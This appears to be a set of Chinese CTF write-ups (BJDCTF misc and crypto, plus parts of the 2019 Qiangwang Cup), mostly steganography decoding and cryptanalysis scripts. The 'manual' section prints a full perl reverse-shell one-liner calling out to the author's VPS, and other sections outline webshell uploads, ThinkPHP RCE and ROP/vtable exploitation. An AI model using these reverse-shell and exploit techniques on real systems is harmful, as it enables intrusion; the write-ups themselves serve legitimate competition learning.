打开网址，一张图，下载zip，密码说是那个password_is_here
然后F12发现
于是想到可能是宽字节隐写，然后找到在线工具[网站](https://offdev.net/demos/zwsp-steg-js)解密，得到`zerowidthcharactersinvisible`，解压后得到一张倒叙的图，脚本一把梭
a = open('f14g.png','rb').read()
f = a[::-1]
b = open('flag.png','wb').write(f)
得到一堆奇怪字符
前三个是MINIMOYS, 4-6是银河密码，7-9是跳舞的小人，最后两个是鸟图腾
得到
UVWHZAITWAU
所以flag：MD5(‘BJD{UVWHZAITWAU}’)
* * *
### /bin/cat 2
进去后是一张大的图片，里面有很多 小的图片，小的图片有两种。
然后如果将页面缩小，可以隐约看到一个二维码
所以方法一：写脚本脚本，然后生成二维码，再将图片替换——长度减一半，扫二维码后md5即可
exp
from PIL import Image
from pyzbar.pyzbar import decode
import hashlib
p1 = Image.open('11.png').convert('RGB') #第一种类型的图片
p2 = Image.open('12.png').convert('RGB') #第二种类型的图片
a,b = p1.size
dif = []
for y in range(b):
for x in range(a):
if p1.getpixel((x,y))!=p2.getpixel((x,y)):
dif.append((x,y))
mark = dif[0]
p = Image.open('res.png').convert('RGB') #最大的一张图片
aa,bb = p.size
data = []
for y in range(0,bb,50):
for x in range(0,aa,100):
if p.getpixel((x+mark[0],y+mark[1])) == p1.getpixel(mark):
data.append('1')
else:
data.append('0')
B = Image.new('L',(10,10),255)
W = Image.new('L',(10,10),0)
np = Image.new('L',(290,290),0)
for y in range(29):
for x in range(29):
if data[x+29*y] == '0':
np.paste(B,(10*x,10*y))
else:
np.paste(W,(10*x,10*y))
np.save('r.png')
pp = Image.open('r.png')
barcodes = decode(pp)
for barcode in barcodes:
barcodeData = barcode.data.decode("utf-8")
print(hashlib.md5(barcodeData.encode()).hexdigest())
方法二：直接截图，然后放进Stegsolve，改一下色道可以得到
然后改一下宽高，就能扫出来了（支付宝扫码能力比较强）。
* * *
### manual
首先ssh链接，得到
% ssh [email protected] -p 10128
Welcome to BJD3rd Games ~
🐀🐾🌴🚜🍋🐊🍇🐂🍓🎑🐈🐟💁🚟🍗
The above login passwd is encrypted.
leads:
- http://emoji.taqini.space
- suika
Try to figure out where is your
# ##### #####
###### ## ## # # # #
# # # # # # # #
##### # # # ###### ###
# # ###### # #
# # # # # #
# ##### # # ##### #
p.s. Maybe you have lots of xiaowenhao after login,
I will help u look up the manual pages of flag.
Now, input passwd to start the game:
上面那个网址就是虎符misc中的emoji替代加密，密钥是`suika`，他是一种替代加密，去网址得到字典后脚本替代得到ssh密码：`C0dEmOj!so4UnNy`
a = '🌷👱🌠🌴👷🎆🍀👼🎉🍇👰🎍🍋💁🎑🍏🚶🎁🍓💑🏀🍄💪🎳🍗👆😶🚘🐀😮🚜🐻😴⚓🐔😝🚢🐥😕🚟🐊😞🚥🐉😭🚽🐟😩⌛🐚😳☀😜😀🚆🐈😄🚊🐴😊🚌🐾🐂🐪🚏🐗😚🌹🚓🐁😑🚗👩😥'
b = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+'
ss = '🐀🐾🌴🚜🍋🐊🍇🐂🍓🎑🐈🐟💁🚟🍗'
print(ss.translate(str.maketrans(a,b)))
登录上去后是一个留言板加上一个自带的man
flag指令，但是你不能退出man，退出man的话就直接退出了ssh，但是这个man又不是一般的man，他是w3mman，然后上面的`External
Program Settings`中的`External
browser`可以命令执行（这相当于是默认启动项，可以插入指令让它执行），使用perl来反弹shell，于是构建（网上百度）得`perl -e 'use
Socket;$i="ip
addr";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
-i");};'`，将shell反弹到VPS上，然后开始疯狂查看文件以及权限，得到`f1a9.py`为700权限，hint又说不用提权，然后看见run.sh里
#!/bin/sh
echo "ctf:C0dEmOj!so4UnNy" | chpasswd
chown -R root:ctf /home/ctf/
chmod 700 /home/ctf/f1a9.py
chmod 750 /home/ctf/msh
/home/ctf/f1a9.py &
/usr/sbin/sshd -D
可以看到f1a9.py在启动是就在后台运行了，但是。。。我ps怎么弄，进入`/proc`读内存都没找到有用信息，但是官方突然给hint：`f1a9.py的独白：我的真实身份是web
server`,于是恶向胆边生，俺爆破你端口，但是又因为服务器里没有nmap等可以三句话代码，使用python写进去一句话的扫描端口脚本
原码：
import requests
host = ' http://127.0.0.1'
for i in range(2000,2500):
add = host+':'+str(i)
try:
s = requests.get(add)
print(i)
print(s.text)
exit(1)
except:
print(i)
pass
一句话脚本：
echo aW1wb3J0IHJlcXVlc3RzCmhvc3QgPSAnIGh0dHA6Ly8xMjcuMC4wLjEnCmZvciBpIGluIHJhbmdlKDIwMDAsMjUwMCk6CiAgICBhZGQgPSBob3N0Kyc6JytzdHIoaSkKICAgIHRyeToKICAgICAgICBzID0gcmVxdWVzdHMuZ2V0KGFkZCkKICAgICAgICBwcmludChpKQogICAgICAgIHByaW50KHMudGV4dCkKICAgICAgICBleGl0KDEpCiAgICBleGNlcHQ6CiAgICAgICAgcHJpbnQoaSkKICAgICAgICBwYXNzCg== | base64 -d | python3
得到了2333端口有网页，其内容为一堆base64编码：
看到这么多base64，有可能就是base64隐写，脚本一把梭：
import base64
def get_base64_diff_value(s1,s2):
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in range(len(s1)):
if s1[i] != s2[i]:
return abs(table.index(s1[i]) - table.index(s2[i]))
return res
def solve():
lines = open('stego.txt','r').readlines()
bin_str = ''
for line in lines:
steg_line = line.replace('n','')
# print(steg_line)
norm_line = base64.b64encode(base64.b64decode(steg_line)).decode()
# print(norm_line)
diff = get_base64_diff_value(steg_line,norm_line)
# print(diff)
pad_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pad_num*2)
else:
bin_str += '0' * pad_num * 2
print(bin_str)
res_str = ''
for j in range(int(len(bin_str)/8)):
# print(8*j,(j+1)*8)
res_str+=chr(int(bin_str[8*j:(j+1)*8],2))
print(res_str[-52:])
print(base64.b64decode(res_str[-52:]))
solve()
得到hTtP://999.TaQini.SpAcE，上去后是
这玩意，f12后发现有一堆奇怪的表情js：
网上在线解密aaencode得到
/**
* 半径，画布宽度，画布高度，画布x内边距，画布y内边距
*/
var R = 26, canvasWidth = 400, canvasHeight = 320, OffsetX = 30, OffsetY = 30;
var circleArr = [];
function createCirclePoint(diffX, diffY) {
for (var row = 0; row < 3; row++) {
for (var col = 0; col < 3; col++) {
// 计算圆心坐标
var Point = {
X: (OffsetX + col * diffX + ( col * 2 + 1) * R),
Y: (OffsetY + row * diffY + (row * 2 + 1) * R)
};
circleArr.push(Point);
}
}
}
window.onload = function () {
var canvas = document.getElementById("lockCanvas");
canvasWidth = document.body.offsetWidth;//网页可见区域宽
canvas.width = canvasWidth;
canvas.height = canvasHeight;
var ctx = canvas.getContext("2d");
/**
* 每行3个圆
* OffsetX为canvas x方向内边距
* */
var X = (canvasWidth - 2 * OffsetX - R * 2 * 3) / 2;
var Y = (canvasHeight - 2 * OffsetY - R * 2 * 3) / 2;
createCirclePoint(X, Y);
bindEvent(canvas, ctx);
//CW=2*offsetX+R*2*3+2*X
Draw(ctx, circleArr, [],null);
}
function Draw(ctx, circleArr, pwdArr,touchPoint) {
var eight = ["巽","離","坤","震","☯","兌","艮","坎","乾"];
if (pwdArr.length > 0) {
ctx.beginPath();
for (var i = 0; i < pwdArr.length; i++) {
var pointIndex = pwdArr[i];
ctx.lineTo(circleArr[pointIndex].X, circleArr[pointIndex].Y);
}
ctx.lineWidth = 10;
ctx.strokeStyle = "#713fdf";
ctx.stroke();
ctx.closePath();
if(touchPoint!=null){
var lastPointIndex=pwdArr[pwdArr.length-1];
var lastPoint=circleArr[lastPointIndex];
ctx.beginPath();
ctx.moveTo(lastPoint.X,lastPoint.Y);
ctx.lineTo(touchPoint.X,touchPoint.Y);
ctx.stroke();
ctx.closePath();
}
}
for (var i = 0; i < circleArr.length; i++) {
var Point = circleArr[i];
ctx.fillStyle = "#713fdf";
ctx.beginPath();
ctx.arc(Point.X, Point.Y, R, 0, Math.PI * 2, true);
ctx.closePath();
ctx.fill();
ctx.fillStyle = "#ffffff";
ctx.beginPath();
ctx.arc(Point.X, Point.Y, R - 3, 0, Math.PI * 2, true);
ctx.closePath();
ctx.fill();
// alert(Point.X+','+Point.Y)
// var img = new Image();
// img.src = "http://taqini.space/img/"+i+".png";
// ctx.drawImage(img,Point.X-20,Point.Y-20,40,40);
// if(pwdArr.indexOf(i)>=0){
// ctx.fillStyle = "#713fdf";
// ctx.beginPath();
// ctx.arc(Point.X, Point.Y, R -16, 0, Math.PI * 2, true);
// ctx.closePath();
// ctx.fill();
// }
ctx.font = '36px "微软雅黑"';
ctx.textBaseline = "bottom";
ctx.fillStyle = "#000000";
ctx.fillText(eight[i],Point.X-18,Point.Y+20);
}
}
/**
* 计算选中的密码
*/
function getSelectPwd(touches,pwdArr){
for (var i = 0; i < circleArr.length; i++) {
var currentPoint = circleArr[i];
var xdiff = Math.abs(currentPoint.X - touches.pageX);
var ydiff = Math.abs(currentPoint.Y - touches.pageY);
var dir = Math.pow((xdiff * xdiff + ydiff * ydiff), 0.5);
if(dir > R || pwdArr.indexOf(i) >= 0)
continue;
pwdArr.push(i);
break;
}
}
/**
* 给画布绑定事件
*/
function bindEvent(canvas, ctx) {
var pwdArr = [];
var res;
canvas.addEventListener("touchstart", function (e) {
getSelectPwd(e.touches[0],pwdArr);
}, false);
canvas.addEventListener("touchmove", function (e) {
e.preventDefault();
var touches = e.touches[0];
getSelectPwd(touches,pwdArr);
ctx.clearRect(0,0,canvasWidth,canvasHeight);
Draw(ctx,circleArr,pwdArr,{X:touches.pageX,Y:touches.pageY});
}, false);
canvas.addEventListener("touchend", function (e) {
ctx.clearRect(0,0,canvasWidth,canvasHeight);
Draw(ctx,circleArr,pwdArr,null);
// alert("密码结果是："+pwdArr.join(""));
res = pwdArr.join("")
if(res=="723048561"){
alert("flag{c967db67a5e32fef9049499daadc19e8}");
}else{
location.reload();
}
res = ""
pwdArr=[];
}, false);
};
得到flag
## Crypto
### bbcrypto
# -*- coding:utf-8 -*- import A,SALT
from itertools import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
m = 'flag{********************************}'
a = A
salt = SALT
assert(len(salt)==3)
assert(salt.isalpha())
si = cycle(salt.lower())
print("明文内容为：")
print(m)
print("加密后的密文为：")
c=encrypt(m, a, si)
print(c)
#加密后的密文为：
#177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d
是一个简单的仿射密码，c = ax+salt（mod 128）
其中a固定未知，salt是变化的，但是周期只有3
我们知道flag的格式，开头为flag
所以我们拿‘f’和‘g’来解方程，此时两个未知数，两条方程，完全可解。
解出a后，再用flag的‘l’和‘a’来解salt的另外两个值
最终解出a = 57, salt = ‘ahh’
exp:
from Crypto.Util.number import *
c = '177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d'.decode('hex')
m = 'flag'
#c[0] = ord('f')*a + b
#c[3] = ord('g')*a + b
a=57
b1 = (0x17-ord('f')*a)%128
b2 = (0x74-ord('l')*a)%128
b3 = (0x01-ord('a')*a)%128
salt='ahh'
flag=''
index=0
for i in c:
b = ord(salt[index%3])
index+=1
flag+=chr((ord(i)-b)*inverse(a,128)%128)
### Encrypt_Img
from numpy import array
from PIL import Image
from secret import Key
Plaintext1 = "RC4IsInteresting"
Plaintext2 = "ThisIsAEasyGame"
cnt = 0
class RC4():
def __init__(self, Key):
self.S = [i for i in range(256)]
self.K = [ord(Key[i % len(Key)])*2 for i in range(256)]
self.I, self.J = 0, 0
self.KSA()
def KSA(self):
for i in range(256):
j = (i+self.K[i]+self.S[i]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
def next(self):
self.I = (self.I+1) % 256
self.J = (self.J+self.S[self.I]) % 256
self.S[self.J], self.S[self.I] = self.S[self.I], self.S[self.J]
tmp = (self.S[self.J] + self.S[self.I]) % 256
return self.S[tmp]
class Encrypt():
def __init__(self, plain):
global cnt
cnt += 1
self.rc4 = RC4(Key)
self.testRC4(plain)
flag_file = Image.open(r"flag.png")
img = array(flag_file)
self.enc(img)
def testRC4(self, plain):
ciphertext = 0
for i in plain:
ciphertext = (ciphertext << 8)+ord(i) ^ self.rc4.next()
print("ciphertext{} = {}".format(cnt, ciphertext))
def enc(self, img):
a, b, _ = img.shape
for x in range(0, a):
for y in range(0, b):
pixel = img[x, y]
for i in range(0, 3):
pixel[i] = pixel[i] ^ self.rc4.next()
img[x][y] = pixel
enc = Image.fromarray(img)
enc.save("enc{}.png".format(cnt))
Encrypt(Plaintext1)
Encrypt(Plaintext2)
# ciphertext1 = 12078640933356268898100798377710191641
# ciphertext2 = 79124196547094980420644350061749775
题目用的流密码是一个标准RC4。我们可以看到题目加密了Plaintext1和flag的图片，然后又加密了Plaintext2和flag的图片。
这一题的切入点在题目所作的两次test。我们可以看到Plaintext1和Plaintext1相差了一个字节。然后两次加密用的是同样的key，这也就意味着两次用于加密明文的密钥流是一模一样的。所以加密两次图片的密钥流刚好有一位的错位。
鉴于RC4加密的特性，当我们有一对明文、密文我们是可以知道密钥的。然后我们可以利用Plaintext2多出来的那一个字节来知道第一次加密图片的第一位密钥。然后用这个密钥去解密，得到第一次加密的图片的第一个像素点。有了图片的原始的第一个像素点，我们也有第二次加密的图片加密后的像素点，利用这两个点我们能获得第一次加密图片的第二个key。如此循环往复，来回横跳，就可以最终恢复第一次加密的图片
exp
from numpy import array
from PIL import Image
p1 = "g"
P2 = ""
c1=0x19
c2=""
k1 = ord(p1)^c1
flag_file1 = Image.open(r"enc1.png")
flag_file2 = Image.open(r"enc2.png")
img1 = array(flag_file1)
img2 = array(flag_file2)
a, b, _ = img1.shape
for x in range(0, a):
for y in range(0, b):
pixel1 = img1[x, y]
pixel2 = img2[x, y]
for i in range(0, 3):
pixel2[i] = pixel2[i] ^ k1
k1 = pixel2[i]^pixel1[i]
img2[x][y] = pixel2
enc2 = Image.fromarray(img2)
enc2.save("flag.png")
得到图片
### easyLCG
from Crypto.Util.number import*
from secret import flag
class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.m = getPrime(32)
self.seed = getRandomNBitInteger(32)
def next(self):
self.seed = (self.a*self.seed+self.b) % self.m
return self.seed >> 16
def output(self):
print("a = {}nb = {}nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))
class DH:
def __init__(self):
self.lcg = LCG()
self.lcg.output()
self.g = getRandomNBitInteger(128)
self.m = getPrime(256)
self.A, self.a = self.gen_AB()
self.B, self.b = self.gen_AB()
self.key = pow(self.A, self.b, self.m)
def gen_AB(self):
x = ''
for _ in range(64):
x += '1' if self.lcg.next() % 2 else '0'
return pow(self.g, int(x, 2), self.m), int(x, 2)
DH = DH()
flag = bytes_to_long(flag)
print("g = {}nA = {}nB = {}nM = {}".format(DH.g, DH.A, DH.B, DH.m))
print("Cipher = {}".format(flag ^ DH.key))
'''
a = 3844066521
b = 3316005024
m = 2249804527
state1 = 16269
state2 = 4249
g = 183096451267674849541594370111199688704
A = 102248652770540219619953045171664636108622486775480799200725530949685509093530
B = 74913924633988481450801262607456437193056607965094613549273335198280176291445
M = 102752586316294557951738800745394456033378966059875498971396396583576430992701
Cipher = 13040004482819935755130996285494678592830702618071750116744173145400949521388647864913527703
'''
这一道题两个知识点，一个是LCG，一个是DHP，其中，DHP用于加密flag，我们要得到flag就要获得协商密钥。而获得协商密钥的方法就是知道一方的私钥。而双方的私钥使用LCG生成的。
LCG中的三个参数a,b,m我们都知道。然后给出了s1 和 s2 的高位。低16位未知。这里完全可以爆破。
爆破s1，然后生成s2，看高位是否与给出的s2高位一致来确定。最终爆出四个符合的值。
然后就利用四个可能的s2和a, b, m，根据题目生成密钥的方式来生成A的四个可能私钥。再利用B的公钥获得四个协商密钥。然后看解密结果，找出flag。
exp:
from Crypto.Util.number import *
a = 3844066521
b = 3316005024
m = 2249804527
state1 = 16269
state2 = 4249
M = 102752586316294557951738800745394456033378966059875498971396396583576430992701
B = 74913924633988481450801262607456437193056607965094613549273335198280176291445
A = 102248652770540219619953045171664636108622486775480799200725530949685509093530
c = 13040004482819935755130996285494678592830702618071750116744173145400949521388647864913527703
for i in range(2**16):
s = state1<<16
s+=i
if ((a*s+b)%m)>>16 == 4249:
s2 = (a*s+b)%m
print s2
x=''
for _ in range(64):
s2 = (a*s2+b)%m
x += '1' if (s2>>16) % 2 else '0'
x = int(x,2)
key = pow(B,x,M)
flag = key^c
print long_to_bytes(flag)
### knapsack
from Crypto.Util.number import *
from functools import reduce
def genKey(length):
A, B = getPrime(64), getPrime(1025)
Rn = getPrime(1024)
key1 = [Rn//2**i for i in range(1, length+1)]
key2 = [i*A % B for i in key1]
return key1,key2
def encrypt(text,key):
Sum=0
for i in range(len(text)):
Sum+=int(text[i])*key[i]
return Sum
def save(Ciper,Key):
f1=open("pub.txt","w")
for i in range(len(Key)):
f1.write(str(Key[i])+'n')
f2=open("cip.txt","w")
f2.write(hex(Ciper))
FLAG = bin(bytes_to_long(flag.encode()))[2:]
Key1,Key2 = genKey(len(FLAG))
Ciper = encrypt(FLAG,Key1)
save(Ciper,Key2)
这是一个超递增背包问题。但这里用的是一个超递减序列
并且对这个序列做了一次加密，加密方式为 a*A % B，其中x为序列中的每一个元素，B大于序列中最大的元素。
想要解密，我们首先需要获得A和B，然后来通过求逆来获得原序列。
获得A的方式很简单。这个序列的最小的值很小，这个时候用不到模运算，我们只需要对比较小的两个值求一个最大公因数就能得到A。
至于求B，我们找到比较大的两个数，并且满足如下关系，即$a _{i+1} < a_{i}$，（我们设最小的为$a
_0$）这是不符合序列的单调性的，也就意味着这里存在一次模运算。且这里的递减是用整除2来得到的。所以要么$a_ {i}cdot 2 – a _{i+1} =
B$，要么$a_ {i}cdot 2 + A – a_{i+1} = B$ 【因为这里是整除嘛，这不难理解】
有了原来的超递减序列，这个问题就很简单了。我们只需要对这个序列从头开始判断。如果密文大于这个元素，flag的最高位bit就是1，然后将密文减去这个元素。否则flag的这一个bit位就是0，继续下一个元素与密文的大小判断。如此循环。最后解密得到flag。
exp:
b=335428611041311731398614259824482604248524861615176787429946575184146370361110652887115402376826444538743339055691850202034085349274540292019392290484025358504275054761608502214481606484088807087063751542648223811793597463026662881020647708165593980984857948283181770647446888695205803952635117800114545071259
a=11243098275181678343
with open("pub.txt")as f:
data=f.read()
data=data.split("n")[:-1]
datai=[]
for i in data:
datai.append(int(i))
dataii=[]
for i in datai:
dataii.append(i*inverse(a,b)%b)
c=0x8ab3086a3df540d4652c191951756a6574aca491d933e479330532f0586ce03862f82f36dea8038b8bfb0b394331d7a93050efa2a26e46d9d8ca394600456cd79e02890a2c31b02e920c28a9f27c3943ec68fe5555ff4056358f35869859d67d67702edf44b10a7690acbaeea1f4def46392922069bfb71c173a210e9ab384f7
flag=""
for i in dataii:
if c>=i:
flag+='1'
c-=i
else:
flag+='0'
print long_to_bytes(int(flag,2))
### Backpacker
import signal
import string
from hashlib import sha256
from Crypto.Util.number import *
from Crypto.Random import random
flag = 'flag'
banner = '''
____ _ _ _ _ _
| __ ) __ _ ___| | ___ __ __ _ ___| | _____ _ __( )___ | | | | ___ _ __ ___ ___
| _ / _` |/ __| |/ / '_ / _` |/ __| |/ / _ '__|// __| | |_| |/ _ | '_ ` _ / _ \
| |_) | (_| | (__| <| |_) | (_| | (__| < __/ | __ | _ | (_) | | | | | | __/
|____/ __,_|___|_|_ .__/ __,_|___|_|____|_| |___/ |_| |_|___/|_| |_| |_|___|
|_|'''
def timeout_handler(signum, frame):
print("n[!]Sorry, timeout...")
raise TimeoutError
def proof_of_work():
print("[++++++++++++++++] Proof of work [++++++++++++++++]")
proof = ''.join(
[random.choice(string.ascii_letters+string.digits)
for _ in range(20)]
)
proof_cipher = sha256(proof.encode()).hexdigest()
print("sha256(XXXX+{}) == {}".format(proof[4:], proof_cipher))
guess = input("Give me XXXX: ")
if len(guess) != 4 or sha256((guess + proof[4:]).encode()).hexdigest() != proof_cipher:
print("[++++++++++++++++] You failed, exit... [++++++++++++++++]")
exit(0)
print("[++++++++++++++++] Proof of work has passed [++++++++++++++++]")
class Knapsack:
n = None
elements = None
def load(self, n, nbits):
self.n = n
self.elements = set()
while len(self.elements) < n:
self.elements.add(getRandomNBitInteger(nbits))
self.elements = list(self.elements)
def super_load(self, n):
self.n = n
self.elements = [233]
sum = 233
while len(self.elements) < n:
self.elements.append(sum + getRandomRange(1, 128))
sum += self.elements[-1]
def encrypt(self):
if not self.n or not self.elements:
raise ValueError("[!]Something Wrong...")
m = getRandomNBitInteger(self.n)
m_list = [int(_) for _ in bin(m)[2:]]
c = 0
for i in range(self.n):
c += m_list[i] * self.elements[i]
return (c, m)
def challenge_1():
print("[++++++++++++++++] Enjoy challenge_1 [++++++++++++++++]")
K = Knapsack()
K.load(10, 16)
print("[+]There are {} elements in the knapsack.".format(K.n))
for i in range(K.n):
print(K.elements[i])
(c, m) = K.encrypt()
print("[+]c = {}".format(c))
guess = input("[-]m(hex) = ")
try:
guess = int(guess, 16)
if guess == m:
print("[++++++++++++++++] challenge_1 has passed [++++++++++++++++]")
return
except:
pass
print("[++++++++++++++++] You failed, exit... [++++++++++++++++]")
exit(0)
def challenge_2():
print("[++++++++++++++++] Enjoy challenge_2 [++++++++++++++++]")
K = Knapsack()
K.super_load(50)
print("[+]There are {} elements in the knapsack.".format(K.n))
for i in range(K.n):
print(K.elements[i])
(c, m) = K.encrypt()
print("[+]c = {}".format(c))
guess = input("[-]m(hex) = ")
try:
guess = int(guess, 16)
if guess == m:
print("[++++++++++++++++] challenge_2 has passed [++++++++++++++++]")
return
except:
pass
print("[++++++++++++++++] You failed, exit... [++++++++++++++++]")
exit(0)
def challenge_3():
print("[++++++++++++++++] Enjoy challenge_3 [++++++++++++++++]")
K = Knapsack()
K.load(100, 312)
print("[+]There are {} elements in the knapsack.".format(K.n))
for i in range(K.n):
print(K.elements[i])
(c, m) = K.encrypt()
print("[+]c = {}".format(c))
guess = input("[-]m(hex) = ")
try:
guess = int(guess, 16)
if guess == m:
print("[++++++++++++++++] challenge_3 has passed [++++++++++++++++]")
print("[+]Excellent Backpacker, your flag is {}".format(flag))
return
except:
pass
print("[++++++++++++++++] You failed, exit... [++++++++++++++++]")
exit(0)
def main():
proof_of_work()
challenge_1()
challenge_2()
challenge_3()
if __name__ == "__main__":
try:
print(banner)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(6000000)
main()
except:
pass
也是背包问题，一共三关。
第一关，由于数字很小。范围是0到1023，所以可以直接爆破得到。
第二关，是超递增背包问题。跟上面那个一样的。
第三关，不是超递增背包问题了，然后量比较大，数字也比较大。这里用Latiice可以解决。格长这样
然后解起来有概率问题。就算格基规约找到了SVP为我们的目标向量，最后也会有两个解，也只有1/2的概率成功。由于本地没有sage环境，这里是半自动脚本
交互脚本，可以打到第三关，然后拿到数据
import string
from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inverse
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
context.log_level = "debug"
def enc(data,m):
m = bin(m)[2:]
c = 0
for i in range(len(m)):
c += int(m[i])*data[i]
return c
sh=remote("183.129.189.60","10036")
sh.recvuntil("sha256(XXXX+")
suffix=sh.recv(len('SLhlaef5L6nM6pYx'))
sh.recvuntil("== ")
cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c'))
sh.recvuntil("XXXX: ")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendline(proof)
sh.recvuntil("knapsack.n")
data=[]
for _ in range(10):
data.append(int(sh.recvline()[:-1]))
#print(data)
sh.recvuntil("[+]c = ")
c = int(sh.recvuntil("n")[:-1])
for i in range(2**10):
if enc(data,i) == c:
print i
sh.sendline(hex(i)[2:])
break
else:
print "no"
sh.recvuntil("knapsack.n")
data=[]
for _ in range(50):
data.append(int(sh.recvline()[:-1]))
#print(data)
data.reverse()
sh.recvuntil("[+]c = ")
c = int(sh.recvuntil("n")[:-1])
m=""
for i in data:
if c>=i:
m+='1'
c-=i
else:
m+='0'
print c
if enc(data,int(m,2)) :
m = m[::-1]
m = int(m,2)
sh.sendline(hex(m)[2:])
sh.recvuntil("knapsack.n")
data=[]
for _ in range(100):
data.append(int(sh.recvline()[:-1]))
print("a = "+str(data).replace("L",""))
sh.recvuntil("[+]c = ")
c = int(sh.recvuntil("n")[:-1])
print("s = "+str(c))
sh.interactive()
拿到数据了去用sage解密
a = #填入序列a
s = #填入密文值
m=[]
for i in range(100):
b=[]
for j in range(100):
if i == j:
b.append(1)
else:
b.append(0)
m.append(b)
b=[]
for i in range(100):
m[i].append(2**156*a[i])
b.append(1/2)
b.append(2**156*s)
m.append(b)
#print(len(m[0]))
M = matrix(QQ, m)
v = M.LLL()[0]
print(v)
flag=''
for i in v[:-1]:
if i < 0:
flag+='0'
else:
flag+='1'
print(hex(int(flag,2))[2:])
然后提交，碰点运气。 | 社区文章 |
# 2019第三届强网杯部分WP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 强网先锋-上单
访问网站文件log文件，发现ThinkPHP 远程命令执行漏洞
## 强网先锋-辅助
废话不多说直接怼脚本
## Crypto-Copperstudy
flag{767bc73bedd446b5891ac3f2a3329bfb3502114647cda27b3dbdf0119c261022}
（1）Chalenge 1
第一关给出模N，加密指数e和明文m，明文512位，但低72位被隐藏，因此Stereotyped
messages攻击，用sage求出明文低位。得出明文低72位为1902981400650064329651。再通过给出m ＋
1902981400650064329651，得出整个明文。
（2）Challenge 2
第二关是知道p高位隐藏低128位，p高位攻击，sage求出最小根即是解。得出p的值后gmpy2.invert解出私钥d，即可解出c的明文m。
（3）Challenge 3
这一关已知私钥d 低512位，利用Partial Key Exposure
Attack（部分密钥泄露攻击）可破解得出模因子p，再通过p求解出d，然后是常规解密。
（4）Challenge 4
加密指数e=3,三个模和三个密文[n1,n2,n3][c1,c2,c3],明显的广播攻击(Hastad’s broadcast
attack)，利用中国剩余定理解出M=m**3，再gmpy2.iroot(M,3)得出明文。
（5）Challenge 5
给出两个明文关系M = km + A，由此可知是相关明文攻击，Franklin-Reiter attack可解出明文m。
得出明文：
（6）Challenge 6
从给出的已知条件，d=N**0.27,(d<N**0.292) 满足boneh_durfee attack条件，可利用该算法解出私钥d。
整理后各challenge输出的结果。
利用脚本提交各关m值，到第六关得出flag。
## 鲲or鳗orGame
闯不同的关根据关卡由0变为1更改金手指变量，经过搜索得到最大关卡为ff，所以将有变化的值都改为ff（还不知道具体是哪个），
## 强网先锋_AD
判断简单
输入44个字符进行加密
判断为base64加密
取出对比的字符串进行解密得出flag
## 强网先锋_打野
## WEB UPLOAD
扫描目录拿到代码进行分析
分析代码
注册 [email protected] 123123
上传图片木马
更改cookie获得shell
## random_study
爆破
解题
random.seed(int(time.time()))
while 1:
number = random.randint(0,2**64)
print io.recvuntil("[-]")
io.sendline(str(number))
res = io.recvuntil("[+]")
print res,
if 'completed' in res:
break
while 1:
print io.recvuntil('[-]'),
num1 = io.recvuntil("n", drop = True)
print num1
print io.recvuntil('[-]'),
num2 = io.recvuntil("n", drop = True)
print num2
try:
o = subprocess.check_output(["java", "ReplicatedRandomTest", num1, num2])
#print o.split("n")
num3 = o.strip()
print num3
except:
num3 = '1'
print io.recv()
io.sendline(num3)
res = io.recv()
print res
if 'completed' in res:
break
while 1:
target=random.getrandbits(32)
print io.recv()
io.sendline(str(target))
res = io.recv()
print res
if 'completed' in res:
break
io.interactive()
## warmup
在main函数参数输入处存在溢出点，可进行溢出利用，构造rop攻击，但got表中无其他函数，只有__libc_start_main函数，无法有效泄漏出libc地址。可以通过里面已有的函数和一些gadgets，实现对__libc_start_main的got表进行修改，将其末尾三个字节修改为system。末尾12位属于偏移量，可从libc文件中获取，高8位为原始地址，没有进行修改。只剩中间12位为随机值，需要爆破，命中概率1/4096。修改got表后，再次调用__libc_start_main函数，实现对system(command)的调用,因为程序未提供输入条件，无法直接getshell，只能执行单个命令行。为了成功调用rop需要进行栈迁移，这该利用中，将栈迁移至0x804a040+0x300的位置。
图1、生成payload的代码
图2、爆破代码
（1） 利用爆破脚本执行ls -l
的命令，查看服务器当前目录下是否存在flag。后发现存在一个名为_the_flag_dir_name_you_shold_guess的文件夹。疑似存在flag。
（2） 利用爆破脚本执行ls the_flag_dir_name_you_shold_guess
的命令，查看服务器是否存在flag，发现存在flag.txt
（3）利用爆破脚本执行find ./ -iname flag* | xargs cat 的命令，获取flag。
## Babacpp
该程序在函数update_hash处，存在漏洞点。abs(offset) % 15
语句是为了获取用户输入的偏移量，又防止用户输入超长度偏移量进行溢出攻击。但offset如果设置0x80000000时，这条语句执行的结果就变为0xfffffff8，突破了原有的限制，可以进行向上溢出，溢出对象的虚表位置。通过这个漏洞可以对对象的虚表地址进行修改。
（1） 申请一个类型的str的对象obj1，并申请相应的str数组。
（2） 利用update_hash 漏洞，将其虚表改为int对象的虚表。
（3） 调用obj1的查看函数，则该对象直接调用int对象的查看函数，将步骤1中写入数组地址打印出来，泄漏堆地址。
（4） 调用obj1的写入函数，在对象中写入该对象自己的地址。
（5） 将obj1的类型改为str型，查看第一个数组的内容，用次方法可以泄漏出程序段地址。
（6）
